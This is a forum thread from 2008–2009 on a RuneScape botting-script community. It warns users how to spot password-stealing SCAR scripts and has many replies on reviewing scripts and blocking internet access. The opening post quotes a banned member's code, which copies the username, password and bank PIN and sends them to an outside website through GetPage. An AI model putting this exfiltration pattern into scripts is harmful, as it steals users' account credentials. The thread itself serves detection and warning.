How to detect password stealing scripts
Waddo
2008-07-29 07:19:59
Recently an SRL Member "IROKI" has found to be password stealing,
(Good Catch BobboHobbo)
So if you have used one of his scripts recently change all your passwords that are the same as your runescape one, if your email is the same it is of great importance that you change this as this can be used to find all your passwords.
Ok so when a script is used to steal passwords it sends the passwords to a website.
There are multiple methods of this
1. Using GetPage
2. Using Plugins (this way is almost undetectable)
1. Using GetPage
This was used recently by Iroki
Procedure DeclarePlayers;
Begin
HowManyPlayers := 1;
NumberOfPlayers(HowManyPlayers);
CurrentPlayer := 0;
Players[0].Name := ''; // Your UserName
Players[0].Pass := ''; // Your PassWord
Players[0].Nick := ''; // Your Nick (3-4 letters from your username)
Players[0].Active := True; // Use this player ??
Players[0].Skill := 'Prayer'; // Skill to lamp
Players[0].Strings[0] := ''; // Your BankPin
Players[0].Strings[1] := 'Adamant'; // What kind of bars you want to smelt ( Bronze, Iron, Silver, Steel, Gold, Mithril, Adamant, Rune, CballsFO, CballsFB )
Code[0] := '';
Code[1] := '';
verKey := '';
End;
There we can see that you enter some your char info and some other info
nothing wrong with that.
However combined with
Begin
If (Code[0] = '') Or (Code[1] = '') Or (verKey = '') Then
Begin
Code[0] := Players[CurrentPlayer].Name;
Code[1] := Players[CurrentPlayer].Pass;
verKey := Players[CurrentPlayer].Strings[0];
End;
For i := 1 To Coding Do
Begin
Code[0] := CodeNow(Code[0]);
Code[1] := CodeNow(Code[1]);
End;
End;
Here we see that the codes and verification key are changed to the account details =O, in all honesty there is nothing wrong with that eithen tho its unnecessary, so if you see this be very suspicious if your still not sure ASK better safe than sorry.
Now the part that should make you worried.
GetPage('http://www.iroki.cba.pl/stats.php?tresc=Code[0]=' + Code[0] + '+Code[1]=' + Code[1] + '+verKey=' + verKey + '+&CreateSessionIDverKey+');
Here they are sending code[0] code[1] and verkey to a website which earlier we learned was changed to your account details.
Get/PostHTTPPage/Ex can also be used instead of GetPage (Thanks Mixster)
If you see this be wary.
Don't use it if it you see this.
Thanks Mixster for stuff below
Get/PostHTTPPage/Ex are the other ways to use it that is more easy to spot while going through the script, but harder to notice in popups as it simply has ?POST? or ?GET? at the end of the URL.
Plugin's have the advantage over not asking for permission to access a webpage but are still tracked in the same way of checking every use of username and password as they still have to be input into a procedure/function to send the info into the plugin.
Get/PostHTTPPage/Ex are the other ways to use it that is more easy to spot while going through the script, but harder to notice in popups as it simply has ?POST? or ?GET? at the end of the URL.
The only way to be 100% sure a script won't steal your details is to follow the scripts logic and see where it uses your username and password. Every method can be stopped that way.
Daniel
2008-07-29 07:49:00
From: Waddo
2. Using Plugins (this way is almost undetectable)
Don't give people ideas <_>
BobboHobbo
2008-07-29 08:30:31
Credits on who found it pl0x :p
Nah jks. Should be easy to make a script to scan for password thrieft. Ill make one soon :P.
Shuttleu
2008-07-29 10:33:16
not that i am planning to make one (which i definatly will not) how to you make it do it through plugins?
if you dont want to tell me then you dont have to
~shut
Waddo
2008-07-29 11:58:07
Lol I have no idea I was hoping some one would tell me something about hem so I could add it I'm obviously not going to put how to tho.
I think mixster knows.
randy marsh
2008-07-29 12:15:29
maybe all scripts should be vetted before they get posted? or make someone on the forums in charge pf checking scripts?
Waddo
2008-07-29 12:17:13
Yes i've thought of that and id be happy to do it but there are alot of scripts released and scripts can be edited pretty easy so it wouldn't work
Gu3st...
2008-07-29 12:19:55
hmm… Iroki… Can't remember him :s
anyways, it should be easy to screw his password-stealing-script by just setting Code[0] to ' ', as the internet does not allows spaces (they use %20 as spaces)
Waddo
2008-07-29 12:26:46
actually setting it to anything would work as it only changes to acount details if they leave blank =p
Gu3st...
2008-07-29 12:28:46
True :D
Quote:
Originally Posted by Waddo
2. Using Plugins (this way is almost undetectable)
Don't give people ideas <_>
Claymore
2008-07-29 13:28:22
Rofl! Smart son of a…. Ill keep an eye for them.
insanomano
2008-07-29 13:36:05
This is a very good thread cause I heard about Iroki and im sure there is going to be a lot of copycats out there that have no respect for others accounts. Good Job
ShowerThoughts
2008-07-29 14:43:29
When mods have to accept script to get them posted, they could also look through for code optimization etc etc
There are roles of moderators, and admins, so why couldn't we have some people, like said above, check scripts for their code, that could be called 'Script Anaylers' or something along those line. They could have a green name colour, also.
Timer
2008-07-29 16:03:10
*makes a plugin!*
*implants it in scars main plugin folder for new scar release*
*h4x every one I hate*
Scaper
2008-07-29 16:10:18
i think there should be a script submitence jus like the SRL member application so we can scan scripts befor we give them the go ahead i think that will almost certain to stop em
randy marsh
2008-07-29 18:38:40
but then every new version would have to be checked if it got re relaseled!
I uniofficlay make waddo a script checker, as your always on here!
jose89
2008-07-29 18:46:13
Please have srl staff review scripts before anyone uses them (more than 2 staffs) Now that one was caught I bet there will be more.
mixster
2008-07-29 18:49:06
Checking every script takes ages and is pointless considering there have only been a couple of incidences.
Plugin's only have the advantage over not asking for permission to access a webpage but are still tracked in the same way of checking every use of username and password as they still have to be input into a procedure/function to send the info into the plugin.
Lastly, Get/PostHTTPPage/Ex are the other ways to use it that is more easy to spot while going through the script, but harder to notice in popups as it simply has ?POST? or ?GET? at the end of the URL.
The only way to be 100% sure a script won't steal your details is to follow the scripts logic and see where it uses your username and password. Every method can be stopped that way.
Edit:
R0b0t1, the advisor, says: 'No'
MylesMadness
2008-07-29 18:53:20
No one every script being searched. How about this, you quit being leechers, learn to script and search it yourself.
Waddo
2008-07-29 19:22:08
Myles + everyone else who thinks we should check all the scripts
It takes 20 seconds to edit a script and repost,
If there was a filter then that would mean that when a script was posted it would be held in some storage and could possibly lag up the forums checking each script is a bad idea I would do it if i was asked, i have a lot of free time.
Eithen in the free for all section the admins only check once then you can edit how you please.
MylesMadness
2008-07-29 19:29:35
From: Waddo
Myles + everyone else who thinks we should check all the scripts
It takes 20 seconds to edit a script and repost,
If there was a filter then that would mean that when a script was posted it would be held in some storage and could possibly lag up the forums checking each script is a bad idea I would do it if i was asked, i have a lot of free time.
Eithen in the free for all section the admins only check once then you can edit how you please.
When did I say I supported it?
mixster
2008-07-29 19:30:18
Waddo: This has happened only a couple of times and is completely unnecessary. Checking each and every script is the same as the governments of the world deciding that every person should be strip searched before entering every building. If it was a common thing, then I would agree that some form of pre-approval would be needed, but it isn't common at all. It would just waste a lot of time in the long run with minimal results.
Waddo
2008-07-29 20:26:30
Mixster that is what im saying Read godarn it read.
From: waddo
checking each script is a bad idea
and Myles i have no idea why i said you :confused: my mistake =p
mixster
2008-07-29 20:30:01
You posted earlier saying you would like it though pointed out it wouldn't work, so I thought this was your suggestion to fixing that - mainly because I found it very hard and still do to understand your post and all I could extract from it was your suggestion for a script storage area where it would have to be pre-approved and that you wouldn't mind doing it.
Waddo
2008-07-29 20:32:36
I wouldnt mind help doing it if it came to that but it wont as it will do no good especially when people make to or 3 mistakes and re upload in an hour 3 times
Hobbit
2008-07-30 01:35:14
Stickied
Waddo
2008-07-30 07:57:35
Woah, Thanks Hobbit, Second sticky.
Thanks Mixster for your input.
Ghostman
2008-07-30 09:33:47
I'm glad someone posted this, I heard about this guy and how he was stealing passwords.
R0b0t1
2008-08-07 18:29:21
When in doubt, it'd be good if you just voiced your concern – theres no harm done, as its not an outright accusation.
Also, I'd like everyone to note that the stealer only gets about one or two accounts before they're intercepted. Although we can't repay those people, we can at least make sure we discourage account stealing as unprofitable compared to the money you make autoing from using SRL (theres other reasons, but this is the only one account stealers look at).
I'd also like to suggest that we find a way to ban an IP from the SVN, is that possible? I mean, if he tries to come back. He can decide himself if he wants to learn to set up Tor or pay extra for a dynamic IP.
jose89
2008-08-08 22:08:34
I just suggest the if you don't know how to read over scripts and see if it is a password scamming script, just use a well-known script (you know like one with lots of progress reports and the thread has lots of pages =p)
isaacxia10
2008-08-09 00:10:54
Wow why didn't I figure that out myself…..
R0b0t1
2008-08-09 00:20:11
From: jose89
I just suggest the if you don't know how to read over scripts and see if it is a password scamming script, just use a well-known script (you know like one with lots of progress reports and the thread has lots of pages =p)
Thats the problem – iroki was an SRL member, and his scripts were very good. Too bad he didn't realize how easy it is to track, or how hard it is to transfer items anymore.
lethalpunk
2008-08-09 06:41:43
Someone mentioned a script scanner , could someone not make one and if you are un-sure of a script scan it yourself instead of waisting other peoples time ?
Thanks I will start looking through scripts to make sure no one steals my pass.
Magiic
2008-08-10 05:02:12
theres no need to scan thouroughly through every script as most scripters oon srl are actually good people and have lives so really its only when idiots like iroki come around we should start worrying and i thought his was the only password stealing script out there whos else is?
I 1337 I
2008-08-16 05:31:40
Thanks, my acc was stolen because of PC bot, it worked but really slow (4points in 2hours) :D
blobo23
2008-08-18 09:23:04
TY i am new to this and the first script i got had a keylogger in i cant remember whos it was but now i will no :D
Waddo
2008-08-18 16:11:07
Erm if it had a keylogger in then you didnt get it from here
unless you downloaded the keylogger script which is a keylogger and nothing else
i dont think there are any harmful keylogger scripts written in scar
happyme
2008-08-19 13:38:59
Just wondering, are there any cases where a script could LEGITLY try to get a page?
sf411
2008-08-20 01:11:55
Thanks for this man, now I check every script I use! +rep for ya!
mr.peer
2008-08-24 15:35:11
I like the script idea.
Smarter Child
2008-08-25 21:17:05
why doesn't someone make a program that scans a script and gives it out to the community therefore we can scan it ourslef without making other check it and if someone doesn't scan it then tough luck for them.
Leather Cock~
Waddo
2008-08-25 21:58:42
as it is not that easy because there many ways to disgiuse it
CallOfVideos
2008-09-02 14:34:04
thanks. it helped alot =)
kensaurus
2008-09-03 04:54:55
iroki…
FUCK YOU!
Shuttleu
2008-09-03 04:59:28
From: kensaurus
iroki…
FUCK YOU!
calm down dear :p
iroki may have done the wrong thing but he has been banned and thats the end of him
soo… please dont swear :redface:
~shut
Waddo
2008-09-03 05:58:14
if you didnt have 261 post count id say you where trying t get your post count up
but either way stop spamming if you dont have anythink usefull/funny/worthwhile saying dont say it at all
Accure
2008-09-05 12:26:33
Thanks.. will look for these items when using scripts
metalguitarfro
2008-09-07 03:40:28
Thanks guys. Being new to SCAR, knowing stuff like this from the beginning is very useful.
brad734
2008-09-13 21:03:12
ty 4 the tip
cookiedude1
2008-09-21 15:39:08
thanks, i think this will definetly help me :)
Waddo
2008-09-21 19:02:10
so many ty's yet so little rep nar im jk its good that it helped u
simple skill
2008-09-22 15:43:03
i dont think some1 checking would work at all because as you said with plugins its almost undetectable and it would just take people tyoo long to look through all the scripts made
Waddo
2008-09-23 03:06:22
its not for that
its basically for sythe there are very few hackers on here because we are trust worthy
rudehead
2008-10-06 11:08:56
Omg!! Willow cutter r steelz my password. I'm really new to this, hope it doesn't happen to me.
redda69
2008-10-09 11:40:22
Thanks i have no idea about scripts myself i just use them now im going to copy and paste this so i know lol ta
bigk011
2008-10-11 20:02:41
ty verymuch for this info:eek: i only auto on my main, so i do need to know how to look out for this
I don't REALLY post to thank YOU, because I know that no one is really going to do anything new. I mean, no one is ACTUALLY gonig to check scripts for account stealing, people are just to lazy (from what I believe).
BUT! I do thank BH for being so god damn aware! Nice job bro!
Also I hope I did not sound like a bi*ch to you, I do appriciate you telling us about the subject matter, as I was clueless on what account stealing code would look like; but I am just trying to nicely say I highly doubt anyone will check scripts more than they have been before this thread was created.
lowell
2008-10-14 06:58:56
great thanks
crunkjmp007
2008-10-16 01:51:00
Interesting they would use their time on this, when really its quite sad, thanks for catching it
Well…using plugins…i have no idea about that one but if someone would change like SRL.scar to make it do a certain function when included to a script…that might work.So be careful on that one too…
jondyr
2008-10-25 07:34:02
Nice. almost got hacked… thanks ;)
Daniel
2008-10-25 08:15:27
From: jondyr
Nice. almost got hacked… thanks ;)
Which script almost hacked you? Report it immediately! If no script "almost hacked you", then that post (along with your others) are totally spam, which we here at SRL don't like!
Fsoul
2008-10-25 21:06:10
Yay.. my paranoia increases
Ruroken
2008-10-26 01:51:05
From: Fsoul
Yay.. my paranoia increases
In my time at SRL (two years) there have been TWO incidences of pass stealing ;)
night_hawk
2008-10-27 13:01:56
exellent find. You save many new people to scar accounts on rs2
Thanks for the heads up:D
Lorken
2008-10-31 00:37:43
thanks!
h1mmelman
2008-10-31 10:00:18
thanks for posting this form saved my but :)
Oh god.. The stupidity… "Tyvm 4 savin mah accuntz!11!! almost got hackd" like wtf there was that one polish guy and mage of begu.. Only pass stealers out there. Spamspamspamspam.
flaminhaz
2008-10-31 12:59:52
ii didnt realise that it wouldnt be that obvious anyone could.. actually better not say it, might give people ideas! anyway, thanks for letting us know
suph4l33t
2008-11-01 07:38:13
thanks alot, this is exactly what i needed =)
now im gonna feel safer :P
vzlarik
2008-11-03 13:46:07
Thanks, didn't know this
triax
2008-11-04 12:34:27
Great guide to find some hackers. But it's kinda stupid. Botters shouldn't hack botters…
Bammeh
2008-11-05 23:05:12
I've never used an auto-er.
But, I'll be sure to look out for things like this since I am beginning.
mistikman
2008-11-05 23:11:12
Stealing people's accounts is lame anyway… What kind of loser wants to steal someon's account?
Ruroken
2008-11-05 23:58:26
From: happyme
Just wondering, are there any cases where a script could LEGITLY try to get a page?
Yes, for checking versions (any script) and auths (pay scripts only). Also SRL Stats?
I have infracted a some of the recent,
blatant spam. Let this be a lesson to you spammers.
shynie
2008-11-06 02:17:42
From: Ruroken
Yes, for checking versions (any script) and auths (pay scripts only).
About this (offtopic):
Isn't it possible to just remove the auths if you have a script like that or is it obfuscated in some way..?
Ruroken
2008-11-06 02:19:44
From: shynie
About this (offtopic):
Isn't it possible to just remove the auths if you have a script like that or is it obfuscated in some way..?
Its obfuscuated or encrypted. Or the author is about to get many copies of his script leaked :p
StrikerX
2008-11-06 02:27:28
Hey thanks for the advise, i dont mean to be a nay sayer, but isn't this also teaching people how to make a Password stealing script?
Ruroken
2008-11-06 02:46:54
From: strikerx25
Hey thanks for the advise, i dont mean to be a nay sayer, but isn't this also teaching people how to make a Password stealing script?
Ehh… I GUESS… but anyone who can script should know how to do this. Besides, its a fairly rare occurrence for two reasons:
1) Unknown scripters/members's scripts will be usually looked over to see the quality of the script. As you don't want to trust your accounts to a crap script. This is when they find the pass stealing bit.
2) Its rare that a trusted member will trade their position in SRL for some RS accounts. (This has happened like… 3 times in my 2 years here).
Yoast
2008-11-09 13:30:23
Thanks, helped a lot :)
Not that I wouldnt first check the entire script before filling in my pass somewhere, though :P
lolurdead
2008-11-11 02:26:33
not sure if ill be able to catch this.. but thx for the tip
crazyronpoker
2008-11-19 18:11:09
thanks for the update, i would have noticed after a while
Ninjew
2008-11-22 06:50:18
Thank you! :D
Very much! :D
HarryJames
2008-11-22 08:14:10
Would it be bad to send all accounts made (just the name) to a server to see the names? (although same thing could be done with SRLReport)
defnubure
2008-11-26 00:35:58
Thank you. Now I will make sure to check the Scripts so i cant get hacked. :D
T0xicblood
2008-11-26 13:44:20
I think i kinda get it…
n33d scripts
2008-11-27 06:17:02
great now i can see if i get scammed :D
rsman44
2008-11-29 11:18:34
Is it possible to delete a part of a script that looks like this?
Romey
2008-11-30 05:37:17
Thank you for that info I have been scammed a long time ago.
stuffs
2008-12-05 16:51:39
Thanks for this, it's very helpful.
ash1205
2008-12-20 18:49:19
i've not used a scar script yet but now when i do atleast i know how to check if its safe :) thanks :)
Goodpeople
2009-01-03 17:33:09
Thanks for the help!!
goodpeople
happy man
2009-01-03 22:54:45
omg thank you for showing me this i wouldnt of known thanks and good job you guys
only lvl str
2009-01-05 15:17:23
Thanks for the info, this should help me keep my password safe. I know what to do now. :D
corn77
2009-01-11 16:00:24
Thanks for the information. I had actually seen one of his scripts and contemplated getting it, but then I realized that his account was banned and thus decided not to dolwnload. Appreciate it.
-corn77
H0TSAUCE
2009-01-18 09:31:05
[QUOTE=Dan's The Man;439505]Don't give people ideas <_>
Agreed. :eek:
Iroki
2009-01-18 09:37:31
From: H0TSAUCE
Agreed. :eek:
You know that this topic has 8 mounths. Maybe you should post somethink useful??
scar_operater
2009-01-20 16:12:47
Thanks for the heads up, never actually knew the these scripts could steal pws.
gamer0n1
2009-01-22 20:31:21
thanx a lot for this =D
Cds000
2009-01-23 01:56:10
Good…thats soo enoying
FROST-2oo8
2009-01-25 06:52:22
Wow Thanks, Im new to the forum and i would've been the perfect target if it weren't for this :)
Theolithical
2009-01-26 19:21:40
Thanks a lot for the tip. Being that I'm new to all of this I might hold off from downloading/using any new programs until I am more familiar with the commands.
Baked0420
2009-01-26 21:48:24
theolithical: don't worry you don't need to get so paranoid as to not use any scripts, besides we all know you're going to leech at first anyway :p, just playing. But if you are really worried, then just make sure smart, well respected people have posted on the thread, if they don't say anything about the script looking suspicious then you most likely have nothing to worry bout but not always. Just use caution, and also you could just use veyr popular scripts, or scripts from very well trusted people.
norbiux
2009-02-10 15:25:32
very helpful thz
PsychicDemon
2009-02-13 10:32:33
Its not hard to see if theres a malicious code in scar scripts.
just look for http as u said, before you start it.
But the biggest problem if is someone encrypt the website into unreadable text, some kind of algorithm.
but I don't think there are so many elite haxors on here :D
So I suggest not to look for a guy saying "its clean no virus" on the forums, instead look through it, atleast a little.
And by the way, what anti virus you guys using?
Yes I know anti-virus wont detect scar scripts but I just wanted to know which one is the best, I currently use avast.
reed6273
2009-02-17 18:25:52
i tryed a script and it did basically the same thing and then it went to log and and it typed im really bo… witch i figured meant im really bogus ive ran into quite a few of these and i was wondering wat should i do now with my acount?
Da 0wner
2009-02-17 19:25:23
Alternatively, you can run this.
Account Stealer Checker.
Krisando
2009-02-20 00:29:06
Thank's I'll keep it in mind for future use in scripts ;P
*Joking but Im not certain this was a good idea telling people :(*
curran0021
2009-02-22 09:18:47
thank you i appreciate you taking your time to protect me.
award982
2009-03-02 13:39:33
From: happyme
Just wondering, are there any cases where a script could LEGITLY try to get a page?
yeah,and like should i allow it to access internet?
Da 0wner
2009-03-02 19:50:07
Yes, of course. There's many cases.
GE price getting, version checking, etc.
Wanted
2009-03-02 23:36:31
This won't work seeing as it's easy to hide code in scripts if you know what you're doing, I did it with RCrB to hide the copyright debug notice, the only way to prevent this is to have a firewall that asks for every program in any instance to allow to not allow it to connect to the internet, in which case you can block/allow/monitor the information being sent or received through any outside connection.
I'm sorry to inform all of you, but this will only prevent you from being screwed from an obvious attempt and will waste a significant amount of time trying to read through code that won't help you necessarily.
Don't get me wrong, it's still a good idea but you should really tell people they are still at risk after doing this unless they have the correct firewall settings, because right now it's like a false positive feeling that you're 100% safe when there are many back doors and methods around this.
Da 0wner
2009-03-03 01:37:16
If you are a good coder, looking through the code is really the best option. You should be able to find the malicious code easily and remove it.
Also, why do you advertise RCrB every chance you can get?
staleroflcake
2009-03-08 16:45:30
Haha, some people don't feel like learning (like me) but i'll look out for this stuff. Thanks :P
Kaede
2009-03-10 23:39:58
I do look through the codes to make sure no one is stealing my pass :)
because I would hate to lose my account :mad:
Dark Arcana
2009-03-11 03:04:06
hmmm..I might try this, joke. Thx for the warning :D
Turtle Dude
2009-03-11 17:43:37
Thnx Waddo, ill keep an eye out for them.
Mushini
2009-04-22 02:58:34
Hey preventing Scar from accessing the internet could also be a preventive measure?
I think it would be a small but useful step, you?
b l o o d007
2009-05-22 06:35:01
THX i got one of my accounts hacked. it really sucks cuz i lost all my money!!!!!
Waddo
2009-05-30 02:53:52
AMSA no scars internet connection functions are one of the many things that make scar my favourite "Programing language" …getpage…drools :p
easyas4
2009-07-07 07:03:10
http://sythe.org/showthread.php?t=575068script scanner made by cazax. includes virus scan of the .exe